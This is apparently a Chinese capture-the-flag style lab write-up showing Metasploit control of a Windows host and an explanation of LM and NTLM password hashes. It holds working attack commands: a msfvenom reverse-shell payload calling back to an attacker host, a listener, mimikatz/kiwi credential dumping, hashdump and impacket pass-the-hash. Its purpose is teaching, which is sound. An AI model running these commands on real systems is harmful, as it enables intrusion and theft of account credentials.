蓝桥杯-网络安全比赛(6) 模拟实验 Metasploit 控制并获取Windows 登录HASH、LM Hash和NTLM Hash密文解析

窃取WINDOWS账号密码

系统环境:主机(Windows系统 IP:192.168.126.129),虚拟机(KALI系统 IP:192.168.126.3),两者需要能通过本地网络互通互连。
攻击工具:Metasploit是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报。这些功能包括智能开发,代码审计,Web应用程序扫描,社会工程。

控制Windows系统

  1. 生成反弹型木马
    进入KALI系统,使用以下代码生成程序,反弹到的监听端地址为192.168.126.3,监听端口为12345,文件输出格式为exe并保存到当前路径\~
    msfvenom
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.126.3 LPORT=12345 -f exe -o shell.exe
  1. 在本地通过GIT BASH或其它BASH程序使用SCP命令拉取代码到D盘根目录.
    scp root
scp root@192.168.126.3:/root/shell.exe /d
  1. 返回KALI,并开启监听程序
    exploit
msfconsole #进入Metasploit组件
use exploit/multi/handler #使用反向Shell模块,用于接收反弹的Shell
set paload windows/x64/meterpreter/reverse_tcp #它一种常见的Stagers Payload,它可以让目标系统与攻击者建立一条tcp连接
set lhost 192.168.126.3 #本地主机地址
set lport 12345 #端口号
exploit #启动
  1. 运行成功后,回到Windows电脑中,关闭杀毒软件、防火墙、间谍程序。
    关闭

  2. 在电脑里(右键管理员运行)打开刚刚的下载的那个shell.exe
    打开成功后即可在kali中看到效果如下:
    meterpreter

远程登录Windows

  1. 主机"以管理员身份运行"CMD.exe,接着启动administrator账户,并回到用户界面设置密码。
    administrator
net user administrator /active:yes
  1. 返回KALI系统的监听程序,尝试获取明文密码
    creds_all
load kiwi #载入kiwi (旧版名称: Mimikatz) 获取账户密码工具
getsystem #获取system权限(提权)
creds_all #获取所有明文密码

使用msf自带的mimikatz抓取密码,但可以看到密码为null,说明这台pc已经打了微软的补丁,抓取不到明文密码了

  1. 尝试获取Hash密码
    hashdump

Hashdump Meterpreter脚本可以从目标机器中提取Hash值,破解Hash值即可获得登录密码。计算机中的每个账号(如果是域服务器,则为域内的每个账号)的用户名和密码都存储在sam文件中,当计算机运行时,该文件对所有账号进行锁定,要
想访问就必须有"系统级”账号。

  1. 这个时候我们可以用加密后的哈希登录:
    impact
python3 psexec.py Administrator@192.168.126.129 -hashes 密钥:密钥

Psexec.py允许你在远程Windows系统上执行进程,复制文件,并返回处理输出结果。此外,它还允许你直接使用完整的交互式控制台执行远程shell命令

注意:在只知道 NTLM Hash 的情况下,只有 RID 为 500 的管理员用户才能绕过 UAC 成功执行 PTH;若 RID 不是 500,即便是在本地管理员用户组里也无法执行 PTH。 这就是为什么一开始要先开启Windows账户。

Impacket 是一组用于处理网络协议的 Python 类。 Impacket 专注于提供对数据包的低级编程访问,并为某些协议(例如 SMB1-3 和 MSRPC)提供协议实现本身。

思考

1. windows登录的明文密码,存储过程是怎么样的,密文存在哪个文件下,该文件是否可以打开,并且查看到密文
2. 我们通过hashdump 抓取出 所有用户的密文,分为两个模块,为什么? 这两个模块分别都代表什么
3. 为什么第一个模块 永远是一样的aad3?
4. 这两个模块的加密算法有什么不同,如何加密的?

解析登录密文

Windows系统为了安全考虑,并不会以明文形式存储用户的登录密码。这是一个非常重要的设计原则,因为如果密码以明文形式存储,那么任何能够访问存储位置的人或程序都可以轻易地获取到密码,这显然是不安全的。

登录流程

ntlm hash

  1. 首先,用户触发登录过程,winlogon.exe 进程检测到这一操作,并调用GINA来显示登录对话框,以供用户输入用户名和密码。

    INA负责收集和传递用户的身份验证信息。

  2. 接着,用户输入用户名和密码,并点击确定后,GINA(图形标识和身份验证)将这些信息发送给LSA(本地安全认证子系统)进行验证。

    LSA是Windows中负责身份验证的核心组件,它会根据配置和策略对用户进行验证。

  3. 在验证过程中,LSA可能会调用相应的验证程序包(如msv1_0.dll),对用户输入的信息进行处理,并与存储在SAM(安全账户管理器)数据库中的密钥进行对比。

    SAM数据库存储了用户的账户信息和密码哈希等关键数据。

  4. 如果对比结果显示用户有效,SAM会将用户的SID(安全标识符)以及用户所属用户组的SID等相关信息发送给LSA。

    SID是Windows系统中用于唯一标识用户和组的安全标识符。

  5. 随后,LSA根据收到的SID信息创建安全访问令牌,并将令牌的句柄和登录信息发送给winlogon进程。

    安全访问令牌是Windows用于控制对系统资源的访问权限的重要机制。

  6. 最后,winlogon进程对用户登录进行最后的处理,完成整个登录过程。此时,用户将看到Windows桌面,并可以开始使用系统。

存储过程

那么,Windows是如何存储用户密码的呢?

在用户输入密码进行登录时,Windows会采用一种或多种加密协议(如NTLM或Kerberos)对密码进行加密处理。
这些加密协议会将用户输入的明文密码转换成一种难以逆向解析的密文形式。
这样,即使有人能够访问到存储密码的位置,也无法直接获取到用户的明文密码。

SAM文件

接下来,我们来看看这些加密后的密码密文是存储在哪个文件下的。

在Windows系统中,用户登录密码的密文通常存储在

C:\Windows\System32\config\SAM

SAM文件下的SAM数据库中。

SAM数据库是Windows系统中用于存储账户安全信息的核心文件之一,它包含了用户的账户信息、密码哈希值等敏感数据。

那么,关于这个文件是否可以打开并查看到密文的问题,答案是一般情况下是不可以的。
SAM文件是系统级的文件,受到严格的权限限制,普通用户或程序是无法直接打开并查看其中的内容的。
即使具有管理员权限,直接打开SAM文件也会遇到困难,因为系统通常会显示“另一个程序正在使用此文件”或“进程无法访问”等提示。

然而渗透测试人员或安全研究人员可以通过Mimikatz打开SAM文件

Mimikatz是一款功能强大的安全工具,由Benjamin Delpy使用C语言编写。它可以从机器内存中提取明文密码、密码Hash、PIN码和Kerberos票据等敏感信息。
Mimikatz的强大之处在于它可以直接从lsass.exe进程中获取当前登录系统用户的密码。
lsass是Windows系统的安全机制,主要用于本地安全和登录策略。当你登录系统时,密码会存储在lsass内存中,经过可逆算法加密后存储。Mimikatz通过对lsass逆算,可以获取到明文密码。

hashdump

我们通过hashdump 抓取出 所有用户的密文,分为两个模块,为什么? 这两个模块分别都代表什么。

hashdump是一种密码破解技术,它的原理是通过获取目标系统中的哈希值,然后利用各种手段将哈希值破解为明文密码。
hashdump
原因是因为从windows NT开始,windows采用的是NTLM Hash密码,因此hashdump为了区分不同版本的windows系统加密方式,才能正确地提取和分析密文。
第一个模块是LM Hash采用DES加密,第二个模块是NTLM Hash基于MD4加密算法。

LM Hash加密方式

为什么第一个模块 永远是一样的aad3?
  1. 用户的密码转换为大写,密码转换为16进制字符串,不足14字节将会用0来再后面补全。
  2. 密码的16进制字符串被分成两个7byte部分。
  3. 每部分转换成比特流,并且长度位56bit,长度不足使用0在左边补齐长度
  4. 再分7bit为一组,每组末尾加0,再组成一组。

根据这个加密过程,就可以看到使用的是分组的DES,如果密码强度是小于7位,那么第二个分组加密后的结果肯定是aad3b435b51404ee,如果我们看到LM hash的结尾是aad3b435b51404ee,就可以很轻易的发现密码强度少于7位。
而我们这次看到的是两组aad3b435b51404ee aad3b435b51404ee,这一般代表密码为空或者LM Hash被禁用,分割的两组明文都无。

LM Hash(“LAN Manager Hash”) 是微软为了提高Windows操作系统的安全性而采用的散列加密算法,其本质是DES加密。 尽管LM Hash较容易被破解,但是为了保证系统的兼容性,Windows只是将LM Hash禁用了(从Windows Vista和Windows
Server 2008版本开始,Windows操作系统默认禁用LM Hash)。 LM Hash明文密码被限制在14位以内,如果LM Hash被禁用了,抓取的LM Hash通常为"aad3b435b51404eeaad3b435b51404ee"。

NTLM Hash加密

NTLM(New Technology LAN Manager)身份验证协议是微软用于Windows身份验证的主要协议之一。
早期SMB协议以明文口令的形式在网络上传输,因此产生了安全性问题。
后来出现了LM(LAN Manager)身份验证协议,它是如此的简单以至于很容易被破解。
之后微软提出了NTLM身份验证协议,以及更新的NTLM V2版本。
NTLM协议既可以为工作组中的机器提供身份验证,也可以用于域环境身份验证。NTLM协议可以为SMB、HTTP、LDAP、SMTP等上层微软应用提供身份认证。

NTLM_Hash = md4(unicode(hex(password)))
  1. 先将用户密码转换为16进制格式。
  2. 再将16进制格式的字符串进行ASCII转Unicode编码。
  3. 最后对Unicode编码的16进制字符串进行标准MD4单向哈希加密。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/617257.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

随形透气钢是解决模具困气问题的新利器

在制造领域,创新的技术不断推动着行业的发展,3D 打印随形透气钢就是这样一种令人兴奋的创新,它为解决模具困气问题提供了前所未有的便捷。 3D打印随形透气钢,顾名思义就是可以根据工件形状来做透气。很多模具镶件由于位置、形状、…

【计算机毕业设计】基于微信小程序校友会系统的实现

由于APP软件在开发以及运营上面所需成本较高,而用户手机需要安装各种APP软件,因此占用用户过多的手机存储空间,导致用户手机运行缓慢,体验度比较差,进而导致用户会卸载非必要的APP,倒逼 管理者必须改变运营…

SSRF服务器端请求伪造

漏洞原理 SSRF挖掘 SSRF具体利用 SSRF具体验证 SSRF防御与绕过 漏洞原理 这个漏洞允许攻击者去利用服务端的功能,来请求其他网络资源 SSRF(Server-Side Request Forgery:服务器端请求伪造) 是指攻击者能够从易受攻击的 Web应用程序发送精心设计的请求的对其他网站…

Unity基础

概述 基础知识 3D教学 数学计算公共类Mathf 练习: 三角函数 练习: Unity中的坐标系 Vector3向量 向量模长和单位向量 向量加减乘除 练习: 向量点乘 向量叉乘 向量插值运算 Quaternion四元数 为何要使用四元数 四元数是什么 四元数常用方法 四元数计算 练…

优化资源利用,用C++内存池点亮编程之路

内存池介绍(Memory Pool): 它是一种内存分配方式,通过预先分配和复用内存块。 在真正使用内存之前,先申请一大块内存备用。当有新的内存需求时,就从内存池中分出一部分内存块, 若内存块不够再继续申请新的内存。如果我们不需要…

OSTE-Web-Log-Analyzer:基于Python的Web服务器日志自动化分析工具

关于OSTE-Web-Log-Analyzer OSTE-Web-Log-Analyzer是一款功能强大的Web服务器日志自动化分析工具,该工具专为安全研究人员设计,能够使用Python Web日志分析工具(Python Web Log Analyzer)帮助广大研究人员以自动化的形式实现Web服…

【应用浅谈】Odoo的库存计价与产品成本(二)

序言:时间是我们最宝贵的财富,珍惜手上的每个时分 Odoo的库存(Stock)模块拥有众多功能,其中库存计价是一项非常重要的功能,原生的成本方法分三种:【标准成本】,【平均成本】,【先进先出】&#…

MySQL 身份认证漏洞 CVE-2012-2122

漏洞影响版本 MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.演示 开启靶场 进入漏洞目录 cd /root/vulhub/mysql/CVE-2012-2122开启漏洞靶场 docker-compose up -d攻击 直接 运行 这个命令 for i i…

验证码生成--kaptcha

验证码生成与点击重新获取验证码 如图所示&#xff0c;本文档仅展示了验证码的生成和刷新显示。 1. 概述 系统通过生成随机验证码图像和文本。 2. 代码分析 2.1. Maven依赖 <dependency><groupId>com.github.penggle</groupId><artifactId>kaptch…

LeetCode - 0088 合并两个有序数组

题目地址&#xff1a;https://leetcode.cn/problems/merge-sorted-array/description/ 引言&#xff1a;话接上回&#xff0c;由于上次面试官着急下班&#xff0c;面试不得不提前终止&#xff0c;这不&#xff0c;他又找我去面试了 面试官&#xff1a;你好&#xff0c;小伙子&a…

(java)websocket服务的两种实现方式

1.基于java注解实现websocket服务器端 1.1需要的类 1.1.1服务终端类 用java注解来监听连接ServerEndpoint、连接成功OnOpen、连接失败OnClose、收到消息等状态OnMessage 1.1.2配置类 把spring中的ServerEndpointExporter对象注入进来 2.1代码示例 2.1.1 maven配置 <…

Docker停止不了

报错信息 意思是&#xff0c;docker.socket可能也会把docker服务启动起来 解决 检查服务状态 systemctl status dockersystemctl is-enabled docker停止docker.socket systemctl stop docker.socket停止docker systemctl stop docker知识扩展 安装了docker后&#xff0c;…

资产公物仓管理系统|实现国有资产智能化管理

1、项目背景 资产公物仓管理系统&#xff08;智仓库DW-S201&#xff09;是一套成熟系统&#xff0c;依托互3D技术、云计算、大数据、RFID技术、数据库技术、AI、视频分析技术对RFID智能仓库进行统一管理、分析的信息化、智能化、规范化的系统。 项目设计原则 方案对公物仓资…

Linux实验 系统管理(三)

实验目的&#xff1a; 了解Linux系统下的进程&#xff1b;掌握一类守护进程——计划任务的管理&#xff1b;掌握进程管理的常用命令&#xff1b;掌握进程的前台与后台管理&#xff1b;了解Linux系统的运行级别&#xff1b;掌握系统服务管理的常用命令。 实验内容&#xff1a; …

小学拼音弄一下

import re from xpinyin import Pinyindef remove_middle_characters(text):# 仅保留汉字chinese_chars re.findall(r[\u4e00-\u9fff], text)cleaned_text .join(chinese_chars)# 如果字符数为偶数&#xff0c;则在中间添加空格if len(cleaned_text) % 2 0:middle_index le…

word-排版文本基本格式

1、文本的基本格式&#xff1a;字体格式、段落格式 2、段落&#xff1a;word排版的基本控制单位 3、每敲一次回车&#xff0c;为一个段落标记&#xff0c;注意区分换行符和段落标记&#xff0c;换行符为指向下的箭头&#xff0c;段落标记为带拐弯的箭头&#xff0c;换行符&…

QT自适应界面 处理高DPI 缩放比界面乱问题

1.pro文件添加 必须添加要不找不到 QT版本需要 5。4 以上才支持 QT widgets 2.main界面提前处理 // 1. 全局缩放使能QApplication::setAttribute(Qt::AA_EnableHighDpiScaling, true);// 2. 适配非整数倍缩放QGuiApplication::setHighDpiScaleFactorRoundingPolicy(Qt::High…

数据结构复习指导之二叉树的概念

文章目录 二叉树 考纲内容 复习提示 1.二叉树的概念 1.1二叉树的定义及其主要特性 1.1.1二叉树的定义 1.1.2几种特殊的二叉树 1.1.3二叉树的性质 1.2二叉树的存储结构 1.2.1顺序存储结构 1.2.2链式存储结构 知识回顾 二叉树 考纲内容 &#xff08;一&#xff09;树…

一件事做了十年

目录 一、背景二、过程1.贫困山区的心理悲哀2.基础差的客观转变3.对于教育的思考4.持续做这件事在路上5.同行人有很早就完成的&#xff0c;有逐渐放弃的&#xff0c;你应该怎么办&#xff1f;6.回头看&#xff0c;什么才是最终留下的东西? 三、总结 一、背景 在哪里出生我们无…

Colab/PyTorch - Getting Started with PyTorch

Colab/PyTorch - Getting Started with PyTorch 1. 源由2. 概要2.1 PyTorch是什么&#xff1f;2.2 为什么学习PyTorch&#xff1f;2.3 PyTorch库概览 3. 步骤4. 预期&展望5. 总结6. 参考资料 1. 源由 世界在发展&#xff0c;为其服务的技术也在不断演变。每个人都要跟上技…